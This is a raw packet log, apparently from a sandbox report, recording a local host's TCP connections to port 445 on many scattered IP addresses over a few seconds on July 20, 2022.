Jul 20, 2022 19:34:28.205743074 CEST	62993	445	192.168.2.7	3.147.77.248
Jul 20, 2022 19:34:28.205837011 CEST	62994	445	192.168.2.7	145.103.90.244
Jul 20, 2022 19:34:28.205996990 CEST	62997	445	192.168.2.7	132.132.168.207
Jul 20, 2022 19:34:28.206288099 CEST	63002	445	192.168.2.7	76.200.23.123
Jul 20, 2022 19:34:28.206357956 CEST	63003	445	192.168.2.7	54.151.220.241
Jul 20, 2022 19:34:28.206795931 CEST	63012	445	192.168.2.7	3.219.124.170
Jul 20, 2022 19:34:28.206811905 CEST	63013	445	192.168.2.7	148.195.97.200
Jul 20, 2022 19:34:28.207067013 CEST	63017	445	192.168.2.7	148.215.81.137
Jul 20, 2022 19:34:28.207154036 CEST	63019	445	192.168.2.7	9.34.193.52
Jul 20, 2022 19:34:28.207514048 CEST	63026	445	192.168.2.7	17.205.71.68
Jul 20, 2022 19:34:28.207731009 CEST	63031	445	192.168.2.7	136.210.97.44
Jul 20, 2022 19:34:28.207911015 CEST	63035	445	192.168.2.7	56.166.99.63
Jul 20, 2022 19:34:28.208031893 CEST	63038	445	192.168.2.7	3.231.175.7
Jul 20, 2022 19:34:28.208194017 CEST	63041	445	192.168.2.7	192.125.186.73
Jul 20, 2022 19:34:28.208463907 CEST	63046	445	192.168.2.7	11.216.144.219
Jul 20, 2022 19:34:28.208547115 CEST	63048	445	192.168.2.7	149.95.151.182
Jul 20, 2022 19:34:28.208842993 CEST	63053	445	192.168.2.7	31.214.37.25
Jul 20, 2022 19:34:28.208993912 CEST	63056	445	192.168.2.7	102.50.59.200
Jul 20, 2022 19:34:28.209151983 CEST	63059	445	192.168.2.7	89.49.86.50
Jul 20, 2022 19:34:28.209259033 CEST	63061	445	192.168.2.7	217.190.28.155
Jul 20, 2022 19:34:28.209305048 CEST	63062	445	192.168.2.7	80.100.182.71
Jul 20, 2022 19:34:28.243949890 CEST	445	62949	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:28.297424078 CEST	63064	445	192.168.2.7	213.142.151.118
Jul 20, 2022 19:34:28.875202894 CEST	63068	445	192.168.2.7	121.3.139.91
Jul 20, 2022 19:34:29.328150034 CEST	63073	445	192.168.2.7	156.22.81.250
Jul 20, 2022 19:34:29.328879118 CEST	63074	445	192.168.2.7	125.3.225.164
Jul 20, 2022 19:34:29.328877926 CEST	63091	445	192.168.2.7	83.15.190.175
Jul 20, 2022 19:34:29.328978062 CEST	63092	445	192.168.2.7	39.179.237.109
Jul 20, 2022 19:34:29.329458952 CEST	63104	445	192.168.2.7	39.248.185.11
Jul 20, 2022 19:34:29.329695940 CEST	63110	445	192.168.2.7	149.3.7.39
Jul 20, 2022 19:34:29.329878092 CEST	63114	445	192.168.2.7	14.121.227.3
Jul 20, 2022 19:34:29.330137014 CEST	63119	445	192.168.2.7	46.226.160.131
Jul 20, 2022 19:34:29.330346107 CEST	63126	445	192.168.2.7	61.96.185.59
Jul 20, 2022 19:34:29.330351114 CEST	63120	445	192.168.2.7	20.194.139.240
Jul 20, 2022 19:34:29.330523968 CEST	63129	445	192.168.2.7	169.169.50.242
Jul 20, 2022 19:34:29.330585957 CEST	63131	445	192.168.2.7	71.165.181.56
Jul 20, 2022 19:34:29.330677986 CEST	63133	445	192.168.2.7	170.136.15.108
Jul 20, 2022 19:34:29.330710888 CEST	63134	445	192.168.2.7	56.138.46.107
Jul 20, 2022 19:34:29.330924988 CEST	63139	445	192.168.2.7	84.92.178.112
Jul 20, 2022 19:34:29.331079006 CEST	63142	445	192.168.2.7	43.64.207.104
Jul 20, 2022 19:34:29.331202030 CEST	63144	445	192.168.2.7	72.58.178.195
Jul 20, 2022 19:34:29.331202984 CEST	63143	445	192.168.2.7	24.197.201.245
Jul 20, 2022 19:34:29.331262112 CEST	63146	445	192.168.2.7	112.70.34.121
Jul 20, 2022 19:34:29.331490993 CEST	63152	445	192.168.2.7	86.122.244.47
Jul 20, 2022 19:34:29.331494093 CEST	63151	445	192.168.2.7	20.119.248.181
Jul 20, 2022 19:34:29.331722975 CEST	63157	445	192.168.2.7	43.128.66.205
Jul 20, 2022 19:34:29.331988096 CEST	63163	445	192.168.2.7	165.7.40.179
Jul 20, 2022 19:34:29.332191944 CEST	63168	445	192.168.2.7	93.153.73.195
Jul 20, 2022 19:34:29.332391024 CEST	63173	445	192.168.2.7	130.220.63.143
Jul 20, 2022 19:34:29.332806110 CEST	63183	445	192.168.2.7	115.143.0.233
Jul 20, 2022 19:34:29.332809925 CEST	63174	445	192.168.2.7	30.105.189.218
Jul 20, 2022 19:34:29.374836922 CEST	63185	445	192.168.2.7	213.142.151.119
Jul 20, 2022 19:34:29.827848911 CEST	63188	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:29.856148005 CEST	445	63188	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:29.856296062 CEST	63188	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:29.856363058 CEST	63188	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:29.889259100 CEST	445	63188	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:29.889293909 CEST	445	63188	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:29.952999115 CEST	63190	445	192.168.2.7	121.3.139.92
Jul 20, 2022 19:34:29.953197956 CEST	63191	445	192.168.2.7	51.158.189.140
Jul 20, 2022 19:34:30.346249104 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.363651037 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.363851070 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.363902092 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.381320000 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.381357908 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.381577015 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.382036924 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.382116079 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.382189989 CEST	63195	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:30.399002075 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.399019957 CEST	445	63195	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:30.421983004 CEST	63196	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:30.438087940 CEST	63197	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.453509092 CEST	63199	445	192.168.2.7	221.57.182.195
Jul 20, 2022 19:34:30.453783035 CEST	63201	445	192.168.2.7	99.19.34.123
Jul 20, 2022 19:34:30.453831911 CEST	63202	445	192.168.2.7	97.174.99.8
Jul 20, 2022 19:34:30.453948975 CEST	63203	445	192.168.2.7	28.164.200.4
Jul 20, 2022 19:34:30.454319000 CEST	63209	445	192.168.2.7	220.194.30.210
Jul 20, 2022 19:34:30.454390049 CEST	63211	445	192.168.2.7	174.230.120.240
Jul 20, 2022 19:34:30.454494953 CEST	63212	445	192.168.2.7	197.166.99.171
Jul 20, 2022 19:34:30.454654932 CEST	63214	445	192.168.2.7	209.222.241.211
Jul 20, 2022 19:34:30.454684973 CEST	63215	445	192.168.2.7	131.69.188.25
Jul 20, 2022 19:34:30.455058098 CEST	63221	445	192.168.2.7	84.27.172.189
Jul 20, 2022 19:34:30.455059052 CEST	63220	445	192.168.2.7	180.114.52.13
Jul 20, 2022 19:34:30.455368996 CEST	63225	445	192.168.2.7	104.49.106.172
Jul 20, 2022 19:34:30.455780983 CEST	63232	445	192.168.2.7	65.7.59.28
Jul 20, 2022 19:34:30.456056118 CEST	63237	445	192.168.2.7	4.179.100.215
Jul 20, 2022 19:34:30.456299067 CEST	63241	445	192.168.2.7	138.95.144.164
Jul 20, 2022 19:34:30.456305027 CEST	63242	445	192.168.2.7	65.11.169.167
Jul 20, 2022 19:34:30.456927061 CEST	445	63197	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.456976891 CEST	63252	445	192.168.2.7	148.226.154.164
Jul 20, 2022 19:34:30.457103968 CEST	63253	445	192.168.2.7	213.142.151.120
Jul 20, 2022 19:34:30.457107067 CEST	63197	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.457128048 CEST	63197	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.457246065 CEST	63254	445	192.168.2.7	223.245.110.76
Jul 20, 2022 19:34:30.457418919 CEST	63256	445	192.168.2.7	27.213.91.125
Jul 20, 2022 19:34:30.458323002 CEST	63274	445	192.168.2.7	123.80.134.179
Jul 20, 2022 19:34:30.458353996 CEST	63273	445	192.168.2.7	82.55.133.210
Jul 20, 2022 19:34:30.459089994 CEST	63287	445	192.168.2.7	126.80.128.168
Jul 20, 2022 19:34:30.459364891 CEST	63293	445	192.168.2.7	132.78.23.51
Jul 20, 2022 19:34:30.459589958 CEST	63296	445	192.168.2.7	130.144.108.225
Jul 20, 2022 19:34:30.459808111 CEST	63300	445	192.168.2.7	45.200.41.20
Jul 20, 2022 19:34:30.459913015 CEST	63302	445	192.168.2.7	190.125.126.157
Jul 20, 2022 19:34:30.460186958 CEST	63308	445	192.168.2.7	94.84.91.235
Jul 20, 2022 19:34:30.460983038 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.475008011 CEST	445	63197	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.475110054 CEST	63197	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.477849960 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.478004932 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.478092909 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.494679928 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.494712114 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.494725943 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.494838953 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.494865894 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.495299101 CEST	63312	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:30.511828899 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.511850119 CEST	445	63312	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:30.586859941 CEST	445	63196	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:30.587004900 CEST	63196	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:30.587079048 CEST	63196	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:30.751928091 CEST	445	63196	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:30.813066006 CEST	63315	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:30.978912115 CEST	445	63315	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:30.979046106 CEST	63315	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:30.979089022 CEST	63315	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:30.979607105 CEST	63316	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:31.031423092 CEST	63318	445	192.168.2.7	51.158.189.141
Jul 20, 2022 19:34:31.031424046 CEST	63319	445	192.168.2.7	121.3.139.93
Jul 20, 2022 19:34:31.062952042 CEST	445	63318	51.158.189.141	192.168.2.7
Jul 20, 2022 19:34:31.137337923 CEST	445	63316	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:31.137527943 CEST	63316	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:31.137680054 CEST	63316	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:31.143779039 CEST	445	63315	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:31.143816948 CEST	445	63315	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:31.296197891 CEST	445	63316	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:31.531445026 CEST	63324	445	192.168.2.7	213.142.151.121
Jul 20, 2022 19:34:31.577811956 CEST	63318	445	192.168.2.7	51.158.189.141
Jul 20, 2022 19:34:31.579168081 CEST	63329	445	192.168.2.7	74.98.184.27
Jul 20, 2022 19:34:31.579376936 CEST	63333	445	192.168.2.7	176.140.209.177
Jul 20, 2022 19:34:31.579529047 CEST	63336	445	192.168.2.7	92.208.91.17
Jul 20, 2022 19:34:31.579699993 CEST	63339	445	192.168.2.7	68.230.8.246
Jul 20, 2022 19:34:31.579917908 CEST	63342	445	192.168.2.7	125.235.53.53
Jul 20, 2022 19:34:31.579920053 CEST	63343	445	192.168.2.7	149.88.131.46
Jul 20, 2022 19:34:31.580051899 CEST	63345	445	192.168.2.7	181.119.201.174
Jul 20, 2022 19:34:31.580209970 CEST	63348	445	192.168.2.7	16.114.210.203
Jul 20, 2022 19:34:31.580317020 CEST	63350	445	192.168.2.7	69.87.229.130
Jul 20, 2022 19:34:31.580425978 CEST	63352	445	192.168.2.7	44.222.174.247
Jul 20, 2022 19:34:31.580492973 CEST	63353	445	192.168.2.7	80.200.80.239
Jul 20, 2022 19:34:31.581156969 CEST	63363	445	192.168.2.7	178.223.215.234
Jul 20, 2022 19:34:31.581331015 CEST	63366	445	192.168.2.7	216.197.130.64
Jul 20, 2022 19:34:31.581624985 CEST	63372	445	192.168.2.7	26.26.11.8
Jul 20, 2022 19:34:31.581778049 CEST	63375	445	192.168.2.7	27.79.62.159
Jul 20, 2022 19:34:31.581883907 CEST	63377	445	192.168.2.7	220.146.233.22
Jul 20, 2022 19:34:31.582225084 CEST	63383	445	192.168.2.7	19.14.194.52
Jul 20, 2022 19:34:31.582535982 CEST	63387	445	192.168.2.7	129.200.183.114
Jul 20, 2022 19:34:31.582878113 CEST	63394	445	192.168.2.7	63.198.14.198
Jul 20, 2022 19:34:31.582916975 CEST	63395	445	192.168.2.7	60.252.198.180
Jul 20, 2022 19:34:31.583713055 CEST	63411	445	192.168.2.7	42.121.60.226
Jul 20, 2022 19:34:31.583781004 CEST	63413	445	192.168.2.7	86.7.28.218
Jul 20, 2022 19:34:31.583884954 CEST	63414	445	192.168.2.7	27.248.149.59
Jul 20, 2022 19:34:31.584342003 CEST	63424	445	192.168.2.7	51.176.189.82
Jul 20, 2022 19:34:31.584441900 CEST	63425	445	192.168.2.7	175.144.84.157
Jul 20, 2022 19:34:31.584553003 CEST	63427	445	192.168.2.7	185.60.157.46
Jul 20, 2022 19:34:31.584903002 CEST	63434	445	192.168.2.7	219.95.36.20
Jul 20, 2022 19:34:31.600466013 CEST	445	63318	51.158.189.141	192.168.2.7
Jul 20, 2022 19:34:32.110200882 CEST	63440	445	192.168.2.7	121.3.139.94
Jul 20, 2022 19:34:32.110239983 CEST	63441	445	192.168.2.7	51.158.189.142
Jul 20, 2022 19:34:32.609869957 CEST	63447	445	192.168.2.7	213.142.151.122
Jul 20, 2022 19:34:32.703584909 CEST	63451	445	192.168.2.7	50.32.91.46
Jul 20, 2022 19:34:32.703768969 CEST	63455	445	192.168.2.7	193.197.53.52
Jul 20, 2022 19:34:32.704031944 CEST	63460	445	192.168.2.7	58.214.235.118
Jul 20, 2022 19:34:32.704171896 CEST	63462	445	192.168.2.7	170.186.41.252
Jul 20, 2022 19:34:32.704829931 CEST	63479	445	192.168.2.7	103.20.3.58
Jul 20, 2022 19:34:32.704916000 CEST	63480	445	192.168.2.7	100.137.99.4
Jul 20, 2022 19:34:32.705003977 CEST	63482	445	192.168.2.7	109.146.125.35
Jul 20, 2022 19:34:32.705398083 CEST	63491	445	192.168.2.7	223.159.100.149
Jul 20, 2022 19:34:32.705456972 CEST	63492	445	192.168.2.7	171.147.200.131
Jul 20, 2022 19:34:32.705589056 CEST	63494	445	192.168.2.7	68.44.174.70
Jul 20, 2022 19:34:32.705863953 CEST	63501	445	192.168.2.7	90.154.33.2
Jul 20, 2022 19:34:32.706074953 CEST	63505	445	192.168.2.7	152.166.122.195
Jul 20, 2022 19:34:32.706360102 CEST	63511	445	192.168.2.7	8.158.158.238
Jul 20, 2022 19:34:32.706464052 CEST	63513	445	192.168.2.7	21.61.37.234
Jul 20, 2022 19:34:32.706659079 CEST	63516	445	192.168.2.7	158.90.0.118
Jul 20, 2022 19:34:32.706851959 CEST	63521	445	192.168.2.7	6.208.225.228
Jul 20, 2022 19:34:32.706865072 CEST	63520	445	192.168.2.7	163.25.173.232
Jul 20, 2022 19:34:32.707056999 CEST	63524	445	192.168.2.7	13.55.146.140
Jul 20, 2022 19:34:32.707170010 CEST	63526	445	192.168.2.7	133.40.91.133
Jul 20, 2022 19:34:32.707299948 CEST	63529	445	192.168.2.7	70.22.74.58
Jul 20, 2022 19:34:32.707365990 CEST	63530	445	192.168.2.7	199.160.206.153
Jul 20, 2022 19:34:32.707438946 CEST	63531	445	192.168.2.7	55.180.181.233
Jul 20, 2022 19:34:32.707820892 CEST	63540	445	192.168.2.7	72.42.118.46
Jul 20, 2022 19:34:32.707999945 CEST	63544	445	192.168.2.7	126.108.15.204
Jul 20, 2022 19:34:32.708264112 CEST	63550	445	192.168.2.7	119.36.5.87
Jul 20, 2022 19:34:32.708451986 CEST	63553	445	192.168.2.7	96.162.252.195
Jul 20, 2022 19:34:32.708542109 CEST	63555	445	192.168.2.7	66.216.161.10
Jul 20, 2022 19:34:33.187942982 CEST	63563	445	192.168.2.7	121.3.139.95
Jul 20, 2022 19:34:33.188309908 CEST	63564	445	192.168.2.7	51.158.189.143
Jul 20, 2022 19:34:33.507078886 CEST	63569	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:33.524039030 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.524166107 CEST	63569	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:33.524260044 CEST	63569	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:33.540847063 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.540874958 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.540890932 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.540987015 CEST	63569	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:33.541019917 CEST	63569	445	192.168.2.7	45.60.207.38
Jul 20, 2022 19:34:33.557588100 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.557607889 CEST	445	63569	45.60.207.38	192.168.2.7
Jul 20, 2022 19:34:33.594481945 CEST	63570	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.611033916 CEST	445	63570	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.611854076 CEST	63570	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.611949921 CEST	63570	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.612468958 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.628532887 CEST	445	63570	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.628869057 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.629132032 CEST	63570	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.629241943 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.629589081 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.646696091 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.646724939 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.646740913 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.646857023 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.646893978 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.646945953 CEST	63571	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:33.663264036 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.663289070 CEST	445	63571	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:33.687865019 CEST	63572	445	192.168.2.7	213.142.151.123
Jul 20, 2022 19:34:33.829381943 CEST	63581	445	192.168.2.7	157.231.183.157
Jul 20, 2022 19:34:33.830097914 CEST	63583	445	192.168.2.7	212.137.202.72
Jul 20, 2022 19:34:33.831981897 CEST	63589	445	192.168.2.7	221.23.75.49
Jul 20, 2022 19:34:33.832941055 CEST	63597	445	192.168.2.7	202.133.155.100
Jul 20, 2022 19:34:33.833075047 CEST	63598	445	192.168.2.7	204.219.11.232
Jul 20, 2022 19:34:33.833401918 CEST	63601	445	192.168.2.7	147.22.28.187
Jul 20, 2022 19:34:33.833683014 CEST	63603	445	192.168.2.7	57.67.42.226
Jul 20, 2022 19:34:33.834012032 CEST	63606	445	192.168.2.7	194.72.157.59
Jul 20, 2022 19:34:33.834167004 CEST	63607	445	192.168.2.7	157.51.12.146
Jul 20, 2022 19:34:33.834394932 CEST	63609	445	192.168.2.7	149.100.91.226
Jul 20, 2022 19:34:33.835258961 CEST	63617	445	192.168.2.7	99.194.184.236
Jul 20, 2022 19:34:33.835622072 CEST	63621	445	192.168.2.7	143.21.165.51
Jul 20, 2022 19:34:33.835939884 CEST	63626	445	192.168.2.7	200.16.113.45
Jul 20, 2022 19:34:33.836186886 CEST	63631	445	192.168.2.7	46.13.69.108
Jul 20, 2022 19:34:33.836373091 CEST	63634	445	192.168.2.7	158.139.144.39
Jul 20, 2022 19:34:33.836760998 CEST	63638	445	192.168.2.7	209.72.135.13
Jul 20, 2022 19:34:33.836788893 CEST	63639	445	192.168.2.7	204.7.171.192
Jul 20, 2022 19:34:33.837104082 CEST	63644	445	192.168.2.7	209.111.91.249
Jul 20, 2022 19:34:33.837392092 CEST	63649	445	192.168.2.7	1.245.100.53
Jul 20, 2022 19:34:33.837682009 CEST	63654	445	192.168.2.7	113.6.117.253
Jul 20, 2022 19:34:33.837965965 CEST	63659	445	192.168.2.7	164.59.202.225
Jul 20, 2022 19:34:33.838001013 CEST	63660	445	192.168.2.7	185.127.82.176
Jul 20, 2022 19:34:33.838095903 CEST	63661	445	192.168.2.7	80.69.249.20
Jul 20, 2022 19:34:33.838223934 CEST	63663	445	192.168.2.7	146.70.131.13
Jul 20, 2022 19:34:33.838726997 CEST	63672	445	192.168.2.7	4.166.234.29
Jul 20, 2022 19:34:33.839376926 CEST	63683	445	192.168.2.7	117.173.205.99
Jul 20, 2022 19:34:33.839380026 CEST	63673	445	192.168.2.7	114.225.230.254
Jul 20, 2022 19:34:33.884877920 CEST	445	63581	157.231.183.157	192.168.2.7
Jul 20, 2022 19:34:33.974792957 CEST	445	63663	146.70.131.13	192.168.2.7
Jul 20, 2022 19:34:34.251288891 CEST	63690	445	192.168.2.7	51.158.189.144
Jul 20, 2022 19:34:34.251431942 CEST	63691	445	192.168.2.7	121.3.139.96
Jul 20, 2022 19:34:34.313880920 CEST	63692	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:34.390605927 CEST	63581	445	192.168.2.7	157.231.183.157
Jul 20, 2022 19:34:34.445123911 CEST	445	63581	157.231.183.157	192.168.2.7
Jul 20, 2022 19:34:34.471504927 CEST	445	63692	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:34.471751928 CEST	63692	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:34.471863031 CEST	63692	445	192.168.2.7	131.153.221.101
Jul 20, 2022 19:34:34.484288931 CEST	63663	445	192.168.2.7	146.70.131.13
Jul 20, 2022 19:34:34.620898962 CEST	445	63663	146.70.131.13	192.168.2.7
Jul 20, 2022 19:34:34.630611897 CEST	445	63692	131.153.221.101	192.168.2.7
Jul 20, 2022 19:34:34.689954996 CEST	63697	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:34.767219067 CEST	63698	445	192.168.2.7	213.142.151.124
Jul 20, 2022 19:34:34.855731010 CEST	445	63697	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:34.855935097 CEST	63697	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:34.855987072 CEST	63697	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:34.856553078 CEST	63701	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:35.020559072 CEST	445	63697	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:35.020582914 CEST	445	63697	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:35.023257017 CEST	445	63701	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:35.023715973 CEST	63707	445	192.168.2.7	214.39.162.75
Jul 20, 2022 19:34:35.023803949 CEST	63701	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:35.023829937 CEST	63701	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:35.023931980 CEST	63708	445	192.168.2.7	54.243.168.142
Jul 20, 2022 19:34:35.024369955 CEST	63713	445	192.168.2.7	145.249.7.147
Jul 20, 2022 19:34:35.024740934 CEST	63718	445	192.168.2.7	60.181.16.221
Jul 20, 2022 19:34:35.025130987 CEST	63723	445	192.168.2.7	104.101.117.159
Jul 20, 2022 19:34:35.025500059 CEST	63728	445	192.168.2.7	146.246.44.63
Jul 20, 2022 19:34:35.025604010 CEST	63729	445	192.168.2.7	165.98.24.113
Jul 20, 2022 19:34:35.025605917 CEST	63730	445	192.168.2.7	8.210.54.14
Jul 20, 2022 19:34:35.025722027 CEST	63732	445	192.168.2.7	214.119.132.112
Jul 20, 2022 19:34:35.026151896 CEST	63741	445	192.168.2.7	51.188.181.33
Jul 20, 2022 19:34:35.026195049 CEST	63742	445	192.168.2.7	34.228.145.178
Jul 20, 2022 19:34:35.027031898 CEST	63754	445	192.168.2.7	25.66.31.167
Jul 20, 2022 19:34:35.027441978 CEST	63761	445	192.168.2.7	209.41.194.119
Jul 20, 2022 19:34:35.027517080 CEST	63763	445	192.168.2.7	168.123.114.141
Jul 20, 2022 19:34:35.027832031 CEST	63769	445	192.168.2.7	25.185.166.56
Jul 20, 2022 19:34:35.028291941 CEST	63778	445	192.168.2.7	17.248.192.207
Jul 20, 2022 19:34:35.028345108 CEST	63779	445	192.168.2.7	139.225.220.41
Jul 20, 2022 19:34:35.028527975 CEST	63782	445	192.168.2.7	153.166.99.39
Jul 20, 2022 19:34:35.028554916 CEST	63783	445	192.168.2.7	172.98.37.135
Jul 20, 2022 19:34:35.028768063 CEST	63787	445	192.168.2.7	82.62.22.90
Jul 20, 2022 19:34:35.028846979 CEST	63788	445	192.168.2.7	124.45.79.25
Jul 20, 2022 19:34:35.028949976 CEST	63790	445	192.168.2.7	75.135.108.238
Jul 20, 2022 19:34:35.029254913 CEST	63798	445	192.168.2.7	190.240.105.147
Jul 20, 2022 19:34:35.029472113 CEST	63803	445	192.168.2.7	15.215.1.151
Jul 20, 2022 19:34:35.029645920 CEST	63807	445	192.168.2.7	14.24.10.171
Jul 20, 2022 19:34:35.029778957 CEST	63810	445	192.168.2.7	182.24.185.199
Jul 20, 2022 19:34:35.029964924 CEST	63814	445	192.168.2.7	53.143.134.251
Jul 20, 2022 19:34:35.188802958 CEST	445	63701	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:35.328600883 CEST	63818	445	192.168.2.7	51.158.189.145
Jul 20, 2022 19:34:35.328726053 CEST	63819	445	192.168.2.7	121.3.139.97
Jul 20, 2022 19:34:36.223474026 CEST	63824	445	192.168.2.7	213.142.151.125
Jul 20, 2022 19:34:36.330183983 CEST	63830	445	192.168.2.7	139.134.5.83
Jul 20, 2022 19:34:36.330810070 CEST	63833	445	192.168.2.7	147.94.151.64
Jul 20, 2022 19:34:36.331906080 CEST	63839	445	192.168.2.7	207.155.131.176
Jul 20, 2022 19:34:36.333286047 CEST	63847	445	192.168.2.7	119.130.67.135
Jul 20, 2022 19:34:36.333472013 CEST	63848	445	192.168.2.7	165.9.57.78
Jul 20, 2022 19:34:36.333882093 CEST	63851	445	192.168.2.7	46.97.75.31
Jul 20, 2022 19:34:36.334053993 CEST	63852	445	192.168.2.7	188.209.250.36
Jul 20, 2022 19:34:36.334598064 CEST	63856	445	192.168.2.7	69.163.51.177
Jul 20, 2022 19:34:36.334769964 CEST	63857	445	192.168.2.7	213.30.103.94
Jul 20, 2022 19:34:36.335192919 CEST	63860	445	192.168.2.7	120.0.133.182
Jul 20, 2022 19:34:36.336103916 CEST	63867	445	192.168.2.7	133.188.137.19
Jul 20, 2022 19:34:36.336766005 CEST	63872	445	192.168.2.7	208.61.179.235
Jul 20, 2022 19:34:36.337320089 CEST	63876	445	192.168.2.7	193.162.210.223
Jul 20, 2022 19:34:36.337728977 CEST	63879	445	192.168.2.7	83.220.155.111
Jul 20, 2022 19:34:36.338263988 CEST	63883	445	192.168.2.7	139.200.4.124
Jul 20, 2022 19:34:36.339329958 CEST	63891	445	192.168.2.7	216.248.188.54
Jul 20, 2022 19:34:36.339500904 CEST	63892	445	192.168.2.7	186.209.164.147
Jul 20, 2022 19:34:36.340168953 CEST	63897	445	192.168.2.7	63.152.121.100
Jul 20, 2022 19:34:36.340845108 CEST	63902	445	192.168.2.7	81.172.175.227
Jul 20, 2022 19:34:36.341519117 CEST	63907	445	192.168.2.7	185.210.46.167
Jul 20, 2022 19:34:36.342205048 CEST	63912	445	192.168.2.7	134.43.219.122
Jul 20, 2022 19:34:36.342358112 CEST	63913	445	192.168.2.7	219.119.200.68
